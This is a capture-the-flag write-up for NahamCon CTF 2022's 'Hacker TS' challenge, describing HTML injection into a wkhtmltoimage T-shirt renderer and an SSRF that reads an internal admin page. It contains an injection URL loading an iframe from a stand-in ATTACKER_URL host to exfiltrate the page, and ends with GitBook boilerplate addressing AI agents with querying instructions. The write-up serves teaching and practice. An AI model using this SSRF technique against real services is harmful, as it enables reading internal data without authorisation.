> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2022/nahamcon-ctf-2022/hacker-ts.md). # Hacker TS We have some kind of image renderer that places our text onto a T-Shirt image. After some fuzzing, we would find that HTML injection is possible. ![](/files/Y4FMmCxDHBAttClz4Azj) If we try to load an external resource (e.g. JavaScript or stylesheet), we can capture the request made by the server, and see that the user agent is `wkhtmltoimage`. It seems that SSRF vulnerabilities through `wkhtmltoimage` and `wkhtmltopdf` are pretty [well known](http://hassankhanyusufzai.com/SSRF-to-LFI/), so we could craft the following payload to exfiltrate the contents of `http://localhost:5000/admin`. ```markup ``` We can then host the above and load it through an iframe: `http://challenge.nahamcon.com:32132/exploit?text=%3Ciframe%20src=%22https://ATTACKER_URL/exploit.html%22%3E&color=%2324d600` The contents of the admin page contains the flag: ```markup
Hi admin! here is your flag: flag{461e2452088eb397b6138a5934af6231}
``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ctf.zeyu2001.com/2022/nahamcon-ctf-2022/hacker-ts.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.